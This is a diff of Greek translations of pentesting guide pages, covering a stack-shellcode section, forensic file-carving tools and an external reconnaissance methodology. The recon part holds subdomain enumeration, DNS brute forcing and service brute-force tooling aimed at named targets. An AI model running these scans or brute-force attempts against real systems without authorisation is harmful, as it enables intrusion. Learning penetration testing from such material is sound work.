+Η **NOP slide** (`asm('nop')`) χρησιμοποιείται για να αυξήσει την πιθανότητα ότι η εκτέλεση θα "γλιστρήσει" στο shellcode μας ανεξάρτητα από τη ακριβή διεύθυνση. Ρυθμίστε το επιχείρημα `p32()` στη διεύθυνση εκκίνησης του buffer σας συν ένα offset για να προσγειωθείτε στην NOP slide.
 
 ## Προστασίες
 
-- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **θα πρέπει να είναι απενεργοποιημένο** για να είναι η διεύθυνση αξιόπιστη σε όλες τις εκτελέσεις ή η διεύθυνση όπου θα αποθηκευτεί η συνάρτηση δεν θα είναι πάντα η ίδια και θα χρειαστείτε κάποια leak για να καταλάβετε πού είναι φορτωμένη η win function.
-- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) θα πρέπει επίσης να είναι απενεργοποιημένα ή η συμβιβασμένη διεύθυνση επιστροφής EIP δεν θα ακολουθείται ποτέ.
-- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** προστασία θα αποτρέψει την εκτέλεση του shellcode μέσα στη στοίβα γιατί αυτή η περιοχή δεν θα είναι εκτελέσιμη.
+- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **θα πρέπει να είναι απενεργοποιημένο** για να είναι η διεύθυνση αξιόπιστη σε όλες τις εκτελέσεις ή η διεύθυνση όπου θα αποθηκευτεί η συνάρτηση δεν θα είναι πάντα η ίδια και θα χρειαστείτε κάποια leak για να καταλάβετε πού είναι φορτωμένη η win function.
+- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) θα πρέπει επίσης να είναι απενεργοποιημένα ή η συμβιβασμένη διεύθυνση επιστροφής EIP δεν θα ακολουθηθεί ποτέ.
+- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** προστασία θα αποτρέψει την εκτέλεση του shellcode μέσα στη στοίβα επειδή αυτή η περιοχή δεν θα είναι εκτελέσιμη.
 
 ## Άλλα Παραδείγματα & Αναφορές
 
@@ -86,6 +86,6 @@ p.interactive()
 - [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
 - 32 bit, ASLR με leak στοίβας, σύγκριση για να αποτραπεί η κλήση στο exit(), αντικαταστήστε μια μεταβλητή με μια τιμή και γράψτε shellcode και πηδήξτε σε αυτό
 - [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
-- arm64, χωρίς ASLR, ROP gadget για να κάνετε τη στοίβα εκτελέσιμη και πηδήξτε στο shellcode στη στοίβα
+- arm64, χωρίς ASLR, ROP gadget για να κάνετε τη στοίβα εκτελέσιμη και να πηδήξετε στο shellcode στη στοίβα
 
 {{#include ../../../banners/hacktricks-training.md}}

src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md

@@ -4,17 +4,17 @@
 
 ## Carving & Recovery tools
 
-Περισσότερα εργαλεία στο [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
+More tools in [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
 
 ### Autopsy
 
-Το πιο κοινό εργαλείο που χρησιμοποιείται στην ψηφιακή εγκληματολογία για την εξαγωγή αρχείων από εικόνες είναι το [**Autopsy**](https://www.autopsy.com/download/). Κατεβάστε το, εγκαταστήστε το και κάντε το να επεξεργαστεί το αρχείο για να βρείτε "κρυφά" αρχεία. Σημειώστε ότι το Autopsy έχει σχεδιαστεί για να υποστηρίζει εικόνες δίσκων και άλλους τύπους εικόνων, αλλά όχι απλά αρχεία.
+Το πιο κοινό εργαλείο που χρησιμοποιείται στην ψηφιακή εγκληματολογία για την εξαγωγή αρχείων από εικόνες είναι το [**Autopsy**](https://www.autopsy.com/download/). Κατεβάστε το, εγκαταστήστε το και κάντε το να επεξεργαστεί το αρχείο για να βρείτε "κρυφά" αρχεία. Σημειώστε ότι το Autopsy έχει σχεδιαστεί για να υποστηρίζει δισκοειδείς εικόνες και άλλους τύπους εικόνων, αλλά όχι απλά αρχεία.
 
 ### Binwalk <a href="#binwalk" id="binwalk"></a>
 
-**Binwalk** είναι ένα εργαλείο για την ανάλυση δυαδικών αρχείων για να βρείτε ενσωματωμένο περιεχόμενο. Είναι εγκαταστάσιμο μέσω του `apt` και η πηγή του είναι στο [GitHub](https://github.com/ReFirmLabs/binwalk).
+**Binwalk** είναι ένα εργαλείο για την ανάλυση δυαδικών αρχείων για να βρείτε ενσωματωμένο περιεχόμενο. Είναι εγκαταστάσιμο μέσω `apt` και η πηγή του είναι στο [GitHub](https://github.com/ReFirmLabs/binwalk).
 
-**Χρήσιμες εντολές**:
+**Useful commands**:
 ```bash
 sudo apt install binwalk #Insllation
 binwalk file #Displays the embedded data in the given file
@@ -44,7 +44,7 @@ scalpel file.img -o output
 ```
 bulk_extractor memory.img -o out_folder
 ```
-Πλοηγηθείτε μέσα από **όλες τις πληροφορίες** που έχει συγκεντρώσει το εργαλείο (κωδικοί πρόσβασης;), **αναλύστε** τα **πακέτα** (διαβάστε [**Ανάλυση Pcaps**](../pcap-inspection/)), αναζητήστε **παράξενους τομείς** (τομείς σχετικούς με **κακόβουλο λογισμικό** ή **μη υπάρχοντες**).
+Πλοηγηθείτε μέσα από **όλες τις πληροφορίες** που έχει συγκεντρώσει το εργαλείο (κωδικοί πρόσβασης;), **αναλύστε** τα **πακέτα** (διαβάστε [**Ανάλυση Pcaps**](../pcap-inspection/index.html)), αναζητήστε **παράξενους τομείς** (τομείς σχετικούς με **κακόβουλο λογισμικό** ή **μη υπάρχοντες**).
 
 ### PhotoRec
 
@@ -69,7 +69,7 @@ bulk_extractor memory.img -o out_folder
 - **Αναγνώριση** Στεγανότητας μέσω μοτίβων
 - **Οπτική** διαφορά δυαδικών αρχείων
 
-Το BinVis είναι ένα εξαιρετικό **σημείο εκκίνησης για να εξοικειωθείτε με έναν άγνωστο στόχο** σε ένα σενάριο μαύρης κουτί.
+Το BinVis είναι ένα εξαιρετικό **σημείο εκκίνησης για να εξοικειωθείτε με έναν άγνωστο στόχο** σε ένα σενάριο black-boxing.
 
 ## Ειδικά Εργαλεία Κατασκευής Δεδομένων
 
@@ -81,7 +81,7 @@ bulk_extractor memory.img -o out_folder
 
 ## Συμπληρωματικά εργαλεία
 
-Μπορείτε να χρησιμοποιήσετε [**viu**](https://github.com/atanunq/viu) για να δείτε εικόνες από το τερματικό.\
+Μπορείτε να χρησιμοποιήσετε το [**viu**](https://github.com/atanunq/viu) για να δείτε εικόνες από το τερματικό.\
 Μπορείτε να χρησιμοποιήσετε το εργαλείο γραμμής εντολών linux **pdftotext** για να μετατρέψετε ένα pdf σε κείμενο και να το διαβάσετε.
 
 {{#include ../../../banners/hacktricks-training.md}}

src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md

@@ -39,13 +39,13 @@ scalpel file.img -o output
 ```text
 bulk_extractor memory.img -o out_folder
 ```
-Πλοηγηθείτε μέσα από **όλες τις πληροφορίες** που έχει συγκεντρώσει το εργαλείο \(κωδικοί πρόσβασης;\), **αναλύστε** τα **πακέτα** \(διαβάστε [ **Ανάλυση Pcaps**](../pcap-inspection/)\), αναζητήστε **παράξενους τομείς** \(τομείς σχετικούς με **malware** ή **μη υπάρχοντες**\).
+Πλοηγηθείτε μέσα από **όλες τις πληροφορίες** που έχει συγκεντρώσει το εργαλείο \(κωδικοί πρόσβασης;\), **αναλύστε** τα **πακέτα** \(διαβάστε [ **Ανάλυση Pcaps**](../pcap-inspection/index.html)\), αναζητήστε **παράξενους τομείς** \(τομείς που σχετίζονται με **malware** ή **μη υπάρχοντες**\).
 
 ## PhotoRec
 
 Μπορείτε να το βρείτε στο [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download)
 
-Έρχεται με έκδοση GUI και CLI. Μπορείτε να επιλέξετε τους **τύπους αρχείων** που θέλετε να αναζητήσει το PhotoRec.
+Έρχεται με εκδόσεις GUI και CLI. Μπορείτε να επιλέξετε τους **τύπους αρχείων** που θέλετε να αναζητήσει το PhotoRec.
 
 ![](../../../images/image%20%28524%29.png)
 

src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md

@@ -4,7 +4,7 @@
 
 ## Carving & Recovery tools
 
-Περισσότερα εργαλεία στο [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
+More tools in [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
 
 ### Autopsy
 
@@ -12,9 +12,9 @@
 
 ### Binwalk <a href="#binwalk" id="binwalk"></a>
 
-**Binwalk** είναι ένα εργαλείο για την ανάλυση δυαδικών αρχείων για να βρείτε ενσωματωμένο περιεχόμενο. Είναι εγκαταστάσιμο μέσω του `apt` και η πηγή του είναι στο [GitHub](https://github.com/ReFirmLabs/binwalk).
+**Binwalk** είναι ένα εργαλείο για την ανάλυση δυαδικών αρχείων για να βρει ενσωματωμένο περιεχόμενο. Είναι εγκαταστάσιμο μέσω `apt` και η πηγή του είναι στο [GitHub](https://github.com/ReFirmLabs/binwalk).
 
-**Χρήσιμες εντολές**:
+**Useful commands**:
 ```bash
 sudo apt install binwalk #Insllation
 binwalk file #Displays the embedded data in the given file
@@ -31,7 +31,7 @@ foremost -v -i file.img -o output
 ```
 ### **Scalpel**
 
-**Scalpel** είναι ένα άλλο εργαλείο που μπορεί να χρησιμοποιηθεί για να βρει και να εξάγει **αρχεία που είναι ενσωματωμένα σε ένα αρχείο**. Σε αυτή την περίπτωση, θα χρειαστεί να αφαιρέσετε το σχόλιο από το αρχείο ρυθμίσεων (_/etc/scalpel/scalpel.conf_) τους τύπους αρχείων που θέλετε να εξάγει.
+**Scalpel** είναι ένα άλλο εργαλείο που μπορεί να χρησιμοποιηθεί για να βρει και να εξάγει **αρχεία ενσωματωμένα σε ένα αρχείο**. Σε αυτή την περίπτωση, θα χρειαστεί να αποσχολιάσετε από το αρχείο ρυθμίσεων (_/etc/scalpel/scalpel.conf_) τους τύπους αρχείων που θέλετε να εξάγει.
 ```bash
 sudo apt-get install scalpel
 scalpel file.img -o output
@@ -44,7 +44,7 @@ scalpel file.img -o output
 ```
 bulk_extractor memory.img -o out_folder
 ```
-Πλοηγηθείτε μέσα από **όλες τις πληροφορίες** που έχει συγκεντρώσει το εργαλείο (κωδικοί πρόσβασης;), **αναλύστε** τα **πακέτα** (διαβάστε [**Ανάλυση Pcaps**](../pcap-inspection/)), αναζητήστε **παράξενους τομείς** (τομείς σχετικούς με **κακόβουλο λογισμικό** ή **μη υπάρχοντες**).
+Πλοηγηθείτε μέσα από **όλες τις πληροφορίες** που έχει συγκεντρώσει το εργαλείο (κωδικοί πρόσβασης;), **αναλύστε** τα **πακέτα** (διαβάστε [ **Ανάλυση Pcaps**](../pcap-inspection/index.html)), αναζητήστε **παράξενους τομείς** (τομείς σχετικούς με **malware** ή **μη υπάρχοντες**).
 
 ### PhotoRec
 
@@ -64,12 +64,12 @@ bulk_extractor memory.img -o out_folder
 - Πολλαπλά διαγράμματα για διαφορετικά σημεία εστίασης
 - Εστίαση σε τμήματα ενός δείγματος
 - **Βλέποντας αλυσίδες και πόρους**, σε εκτελέσιμα PE ή ELF π.χ.
-- Λαμβάνοντας **μοτίβα** για κρυπτοανάλυση σε αρχεία
+- Λήψη **μοτίβων** για κρυπτοανάλυση σε αρχεία
 - **Εντοπισμός** αλγορίθμων συμπίεσης ή κωδικοποίησης
 - **Αναγνώριση** Στεγανότητας μέσω μοτίβων
 - **Οπτική** διαφορά δυαδικών αρχείων
 
-Το BinVis είναι ένα εξαιρετικό **σημείο εκκίνησης για να εξοικειωθείτε με έναν άγνωστο στόχο** σε ένα σενάριο μαύρης κουτί.
+Το BinVis είναι ένα εξαιρετικό **σημείο εκκίνησης για να εξοικειωθείτε με έναν άγνωστο στόχο** σε ένα σενάριο black-boxing.
 
 ## Ειδικά Εργαλεία Κατασκευής Δεδομένων
 
@@ -81,7 +81,7 @@ bulk_extractor memory.img -o out_folder
 
 ## Συμπληρωματικά εργαλεία
 
-Μπορείτε να χρησιμοποιήσετε το [**viu**](https://github.com/atanunq/viu) για να δείτε εικόνες από το τερματικό.\
+Μπορείτε να χρησιμοποιήσετε το [**viu** ](https://github.com/atanunq/viu) για να δείτε εικόνες από το τερματικό.\
 Μπορείτε να χρησιμοποιήσετε το εργαλείο γραμμής εντολών linux **pdftotext** για να μετατρέψετε ένα pdf σε κείμενο και να το διαβάσετε.
 
 {{#include ../../../banners/hacktricks-training.md}}

src/generic-methodologies-and-resources/external-recon-methodology/README.md

@@ -10,8 +10,8 @@
 
 1. Βρούμε τις εξαγορές της κύριας εταιρείας, αυτό θα μας δώσει τις εταιρείες εντός του πεδίου εφαρμογής.
 2. Βρούμε το ASN (αν υπάρχει) κάθε εταιρείας, αυτό θα μας δώσει τις περιοχές IP που ανήκουν σε κάθε εταιρεία.
-3. Χρησιμοποιήσουμε αναζητήσεις reverse whois για να αναζητήσουμε άλλες καταχωρίσεις (ονόματα οργανισμών, τομείς...) σχετικές με την πρώτη (αυτό μπορεί να γίνει αναδρομικά).
-4. Χρησιμοποιήσουμε άλλες τεχνικές όπως τα φίλτρα shodan `org` και `ssl` για να αναζητήσουμε άλλα περιουσιακά στοιχεία (το κόλπο `ssl` μπορεί να γίνει αναδρομικά).
+3. Χρησιμοποιήσουμε αναζητήσεις reverse whois για να ψάξουμε για άλλες καταχωρίσεις (ονόματα οργανισμών, τομείς...) σχετικές με την πρώτη (αυτό μπορεί να γίνει αναδρομικά).
+4. Χρησιμοποιήσουμε άλλες τεχνικές όπως τα φίλτρα shodan `org` και `ssl` για να ψάξουμε για άλλα περιουσιακά στοιχεία (το κόλπο `ssl` μπορεί να γίνει αναδρομικά).
 
 ### **Εξαγορές**
 
@@ -56,7 +56,7 @@ bbot -t tesla.com -f subdomain-enum
 
 ### **Αναζητώντας ευπάθειες**
 
-Σε αυτό το σημείο γνωρίζουμε **όλα τα περιουσιακά στοιχεία εντός του πεδίου**, οπότε αν έχετε άδεια, μπορείτε να εκκινήσετε κάποιο **σάρωσης ευπαθειών** (Nessus, OpenVAS) σε όλους τους hosts.\
+Σε αυτό το σημείο γνωρίζουμε **όλα τα περιουσιακά στοιχεία εντός του πεδίου**, οπότε αν έχετε άδεια, μπορείτε να εκκινήσετε κάποιο **σάρωσης ευπαθειών** (Nessus, OpenVAS) σε όλους τους υπολογιστές.\
 Επίσης, μπορείτε να εκκινήσετε κάποιες [**σάρωσεις θυρών**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **ή να χρησιμοποιήσετε υπηρεσίες όπως** shodan **για να βρείτε** ανοιχτές θύρες **και ανάλογα με το τι θα βρείτε, θα πρέπει να** ρίξετε μια ματιά σε αυτό το βιβλίο για το πώς να κάνετε pentest σε πολλές πιθανές υπηρεσίες που τρέχουν.\
 **Επίσης, αξίζει να αναφερθεί ότι μπορείτε επίσης να προετοιμάσετε κάποιες** λίστες με προεπιλεγμένα ονόματα χρήστη **και** κωδικούς πρόσβασης **και να προσπαθήσετε να** κάνετε bruteforce υπηρεσίες με [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
 
@@ -118,7 +118,7 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
 cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
 python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
 ```
-![favihash - ανακάλυψη τομέων με το ίδιο hash εικονιδίου favicon](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg)
+![favihash - ανακαλύψτε τομείς με το ίδιο hash εικονιδίου favicon](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg)
 
 Απλά, το favihash θα μας επιτρέψει να ανακαλύψουμε τομείς που έχουν το ίδιο hash εικονιδίου favicon με τον στόχο μας.
 
@@ -139,13 +139,13 @@ fhash = mmh3.hash(favicon)
 print(f"{url} : {fhash}")
 return fhash
 ```
-### **Πνευματικά Δικαιώματα / Μοναδική συμβολοσειρά**
+### **Copyright / Uniq string**
 
-Αναζητήστε μέσα στις ιστοσελίδες **συμβολοσειρές που θα μπορούσαν να μοιραστούν σε διάφορες ιστοσελίδες της ίδιας οργάνωσης**. Η **συμβολοσειρά πνευματικών δικαιωμάτων** θα μπορούσε να είναι ένα καλό παράδειγμα. Στη συνέχεια, αναζητήστε αυτή τη συμβολοσειρά σε **google**, σε άλλους **πλοηγούς** ή ακόμα και σε **shodan**: `shodan search http.html:"Copyright string"`
+Αναζητήστε μέσα στις ιστοσελίδες **αλφαριθμητικούς χαρακτήρες που θα μπορούσαν να μοιραστούν σε διάφορες ιστοσελίδες της ίδιας οργάνωσης**. Η **αλφαριθμητική δήλωση πνευματικών δικαιωμάτων** θα μπορούσε να είναι ένα καλό παράδειγμα. Στη συνέχεια, αναζητήστε αυτή τη δήλωση σε **google**, σε άλλους **προγράμματα περιήγησης** ή ακόμη και σε **shodan**: `shodan search http.html:"Copyright string"`
 
-### **Χρόνος CRT**
+### **CRT Time**
 
-Είναι κοινό να υπάρχει μια εργασία cron όπως
+Είναι συνηθισμένο να υπάρχει μια εργασία cron όπως
 ```bash
 # /etc/crontab
 37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
@@ -161,7 +161,7 @@ return fhash
 
 Φαίνεται ότι είναι κοινό για τους ανθρώπους να αναθέτουν υποτομείς σε IP που ανήκουν σε παρόχους cloud και σε κάποιο σημείο **να χάσουν αυτήν την διεύθυνση IP αλλά να ξεχάσουν να αφαιρέσουν την εγγραφή DNS**. Επομένως, απλά **δημιουργώντας μια VM** σε ένα cloud (όπως το Digital Ocean) θα **αναλαμβάνετε στην πραγματικότητα κάποιους υποτομείς**.
 
-[**Αυτή η ανάρτηση**](https://kmsec.uk/blog/passive-takeover/) εξηγεί μια ιστορία γι' αυτό και προτείνει ένα σενάριο που **δημιουργεί μια VM στο DigitalOcean**, **παίρνει** την **IPv4** της νέας μηχανής και **αναζητά σε Virustotal για εγγραφές υποτομέων** που δείχνουν σε αυτήν.
+[**Αυτή η ανάρτηση**](https://kmsec.uk/blog/passive-takeover/) εξηγεί μια ιστορία σχετικά με αυτό και προτείνει ένα σενάριο που **δημιουργεί μια VM στο DigitalOcean**, **παίρνει** την **IPv4** της νέας μηχανής και **αναζητά σε Virustotal για εγγραφές υποτομέων** που δείχνουν σε αυτήν.
 
 ### **Άλλοι τρόποι**
 
@@ -201,7 +201,7 @@ dnsrecon -a -d tesla.com
 ```
 ### **OSINT**
 
-Ο ταχύτερος τρόπος για να αποκτήσετε πολλούς υποτομείς είναι η αναζήτηση σε εξωτερικές πηγές. Τα πιο χρησιμοποιούμενα **εργαλεία** είναι τα εξής (για καλύτερα αποτελέσματα ρυθμίστε τα API keys):
+Ο ταχύτερος τρόπος για να αποκτήσετε πολλούς υποτομείς είναι η αναζήτηση σε εξωτερικές πηγές. Τα πιο χρησιμοποιούμενα **εργαλεία** είναι τα εξής (για καλύτερα αποτελέσματα ρυθμίστε τα κλειδιά API):
 
 - [**BBOT**](https://github.com/blacklanternsecurity/bbot)
 ```bash
@@ -312,7 +312,7 @@ python3 censys-subdomain-finder.py tesla.com
 ```bash
 python3 DomainTrail.py -d example.com
 ```
-- [**securitytrails.com**](https://securitytrails.com/) έχει μια δωρεάν API για αναζήτηση υποτομέων και ιστορικό IP
+- [**securitytrails.com**](https://securitytrails.com/) έχει δωρεάν API για αναζήτηση υποτομέων και ιστορικό IP
 - [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/)
 
 Αυτό το έργο προσφέρει **δωρεάν όλους τους υποτομείς που σχετίζονται με προγράμματα bug-bounty**. Μπορείτε να αποκτήσετε πρόσβαση σε αυτά τα δεδομένα χρησιμοποιώντας επίσης [chaospy](https://github.com/dr-0x0x/chaospy) ή ακόμα και να αποκτήσετε πρόσβαση στο πεδίο που χρησιμοποιείται από αυτό το έργο [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
@@ -353,7 +353,7 @@ shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
 ```
 puredns bruteforce all.txt domain.com
 ```
-- [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) χρησιμοποιεί το asyncio για να επιτεθεί σε ονόματα τομέα ασύγχρονα.
+- [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) χρησιμοποιεί το asyncio για να κάνει brute force σε ονόματα τομέα ασύγχρονα.
 ```
 aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
 ```
@@ -375,12 +375,12 @@ goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3
 gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
 ```
 - [**altdns**](https://github.com/infosec-au/altdns): Εκτός από την παραγωγή παραλλαγών υποτομέων, μπορεί επίσης να προσπαθήσει να τις επιλύσει (αλλά είναι καλύτερο να χρησιμοποιήσετε τα προηγούμενα εργαλεία που αναφέρθηκαν).
-- Μπορείτε να αποκτήσετε τις παραλλαγές altdns **wordlist** [**εδώ**](https://github.com/infosec-au/altdns/blob/master/words.txt).
+- Μπορείτε να αποκτήσετε παραλλαγές altdns **wordlist** [**εδώ**](https://github.com/infosec-au/altdns/blob/master/words.txt).
 ```
 altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
 ```
 - [**dmut**](https://github.com/bp0lr/dmut): Ένα ακόμα εργαλείο για την εκτέλεση παραλλαγών, μεταλλάξεων και τροποποιήσεων υποτομέων. Αυτό το εργαλείο θα εκτελέσει brute force στο αποτέλεσμα (δεν υποστηρίζει dns wild card).
-- Μπορείτε να αποκτήσετε τη λίστα λέξεων παραλλαγών του dmut [**εδώ**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt).
+- Μπορείτε να αποκτήσετε τη λίστα λέξεων παραλλαγών dmut [**εδώ**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt).
 ```bash
 cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
 --dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt
@@ -389,7 +389,7 @@ cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
 
 #### Έξυπνη γενιά παραλλαγών
 
-- [**regulator**](https://github.com/cramppet/regulator): Για περισσότερες πληροφορίες διαβάστε αυτήν την [**ανάρτηση**](https://cramppet.github.io/regulator/index.html) αλλά βασικά θα πάρει τα **κύρια μέρη** από τους **ανακαλυφθέντες υποτομείς** και θα τα αναμείξει για να βρει περισσότερους υποτομείς.
+- [**regulator**](https://github.com/cramppet/regulator): Για περισσότερες πληροφορίες διαβάστε αυτήν την [**ανάρτηση**](https://cramppet.github.io/regulator/index.html) αλλά βασικά θα πάρει τα **κύρια μέρη** από τους **ανακαλυφθέντες υποτομείς** και θα τα αναμίξει για να βρει περισσότερους υποτομείς.
 ```bash
 python3 main.py adobe.com adobe adobe.rules
 make_brute_list.sh adobe.rules adobe.brute
@@ -421,7 +421,7 @@ https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/
 
 **Brute Force**
 
-Αν υποψιάζεστε ότι κάποιο υποτομέα μπορεί να είναι κρυμμένος σε έναν διακομιστή ιστού, μπορείτε να προσπαθήσετε να τον δοκιμάσετε με brute force:
+Αν υποψιάζεστε ότι κάποιος υποτομέας μπορεί να είναι κρυμμένος σε έναν διακομιστή ιστού, μπορείτε να προσπαθήσετε να τον δοκιμάσετε με brute force:
 ```bash
 ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com"
 
@@ -446,25 +446,25 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http:
 ```
 ### **Buckets Brute Force**
 
-Ενώ ψάχνετε για **subdomains**, προσέξτε αν **δείχνει** σε οποιοδήποτε τύπο **bucket**, και σε αυτή την περίπτωση [**ελέγξτε τις άδειες**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
-Επίσης, καθώς σε αυτό το σημείο θα γνωρίζετε όλα τα domains μέσα στο πεδίο, προσπαθήστε να [**brute force πιθανές ονομασίες bucket και ελέγξτε τις άδειες**](../../network-services-pentesting/pentesting-web/buckets/).
+Ενώ ψάχνετε για **subdomains**, προσέξτε αν **δείχνει** σε οποιοδήποτε τύπο **bucket**, και σε αυτή την περίπτωση [**ελέγξτε τις άδειες**](../../network-services-pentesting/pentesting-web/buckets/index.html)**.**\
+Επίσης, καθώς σε αυτό το σημείο θα γνωρίζετε όλα τα domains μέσα στο πεδίο, προσπαθήστε να [**brute force πιθανές ονομασίες buckets και ελέγξτε τις άδειες**](../../network-services-pentesting/pentesting-web/buckets/index.html).
 
 ### **Monitorization**
 
-Μπορείτε να **παρακολουθείτε** αν **δημιουργούνται νέα subdomains** ενός domain παρακολουθώντας τα **Certificate Transparency** Logs [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)το οποίο κάνει.
+Μπορείτε να **παρακολουθείτε** αν **δημιουργούνται νέα subdomains** ενός domain παρακολουθώντας τα **Certificate Transparency** Logs [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py).
 
 ### **Looking for vulnerabilities**
 
 Ελέγξτε για πιθανές [**subdomain takeovers**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
-Αν το **subdomain** δείχνει σε κάποιο **S3 bucket**, [**ελέγξτε τις άδειες**](../../network-services-pentesting/pentesting-web/buckets/).
+Αν το **subdomain** δείχνει σε κάποιο **S3 bucket**, [**ελέγξτε τις άδειες**](../../network-services-pentesting/pentesting-web/buckets/index.html).
 
-Αν βρείτε οποιοδήποτε **subdomain με IP διαφορετική** από αυτές που έχετε ήδη βρει στην ανακάλυψη περιουσιακών στοιχείων, θα πρέπει να εκτελέσετε μια **βασική σάρωση ευπαθειών** (χρησιμοποιώντας Nessus ή OpenVAS) και κάποια [**σάρωση θυρών**](../pentesting-network/index.html#discovering-hosts-from-the-outside) με **nmap/masscan/shodan**. Ανάλογα με τις υπηρεσίες που τρέχουν, μπορείτε να βρείτε σε **αυτό το βιβλίο μερικά κόλπα για να "επιτεθείτε" σε αυτές**.\
+Αν βρείτε οποιοδήποτε **subdomain με IP διαφορετική** από αυτές που έχετε ήδη βρει στην ανακάλυψη assets, θα πρέπει να εκτελέσετε μια **βασική σάρωση ευπαθειών** (χρησιμοποιώντας Nessus ή OpenVAS) και κάποια [**σάρωση θυρών**](../pentesting-network/index.html#discovering-hosts-from-the-outside) με **nmap/masscan/shodan**. Ανάλογα με τις υπηρεσίες που τρέχουν, μπορείτε να βρείτε σε **αυτό το βιβλίο μερικά κόλπα για να "επιτεθείτε" σε αυτές**.\
 &#xNAN;_Note ότι μερικές φορές το subdomain φιλοξενείται σε μια IP που δεν ελέγχεται από τον πελάτη, οπότε δεν είναι στο πεδίο, προσέξτε._
 
 ## IPs
 
-Στα αρχικά βήματα μπορεί να έχετε **βρει κάποιες περιοχές IP, domains και subdomains**.\
-Ήρθε η ώρα να **συλλέξετε όλες τις IPs από αυτές τις περιοχές** και για τα **domains/subdomains (DNS queries).**
+Στα αρχικά βήματα μπορεί να έχετε **βρει κάποιες IP ranges, domains και subdomains**.\
+Ήρθε η ώρα να **συλλέξετε όλες τις IPs από αυτές τις ranges** και για τα **domains/subdomains (DNS queries).**
 
 Χρησιμοποιώντας υπηρεσίες από τις παρακάτω **δωρεάν APIs** μπορείτε επίσης να βρείτε **προηγούμενες IPs που χρησιμοποιήθηκαν από domains και subdomains**. Αυτές οι IPs μπορεί να ανήκουν ακόμα στον πελάτη (και μπορεί να σας επιτρέψουν να βρείτε [**CloudFlare bypasses**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
 
@@ -476,29 +476,29 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http:
 
 **Σαρώστε όλες τις IPs που δεν ανήκουν σε CDNs** (καθώς είναι πολύ πιθανό να μην βρείτε τίποτα ενδιαφέρον εκεί). Στις υπηρεσίες που ανακαλύφθηκαν μπορεί να είστε **σε θέση να βρείτε ευπάθειες**.
 
-**Βρείτε έναν** [**οδηγό**](../pentesting-network/) **για το πώς να σαρώσετε hosts.**
+**Βρείτε έναν** [**οδηγό**](../pentesting-network/index.html) **για το πώς να σαρώσετε hosts.**
 
 ## Web servers hunting
 
-> Έχουμε βρει όλες τις εταιρείες και τα περιουσιακά τους στοιχεία και γνωρίζουμε περιοχές IP, domains και subdomains μέσα στο πεδίο. Ήρθε η ώρα να αναζητήσουμε web servers.
+> Έχουμε βρει όλες τις εταιρείες και τα assets τους και γνωρίζουμε IP ranges, domains και subdomains μέσα στο πεδίο. Ήρθε η ώρα να αναζητήσουμε web servers.
 
 Στα προηγούμενα βήματα έχετε πιθανώς ήδη εκτελέσει κάποια **recon των IPs και domains που ανακαλύφθηκαν**, οπότε μπορεί να έχετε **ήδη βρει όλους τους πιθανούς web servers**. Ωστόσο, αν δεν το έχετε κάνει, τώρα θα δούμε μερικά **γρήγορα κόλπα για να αναζητήσουμε web servers** μέσα στο πεδίο.
 
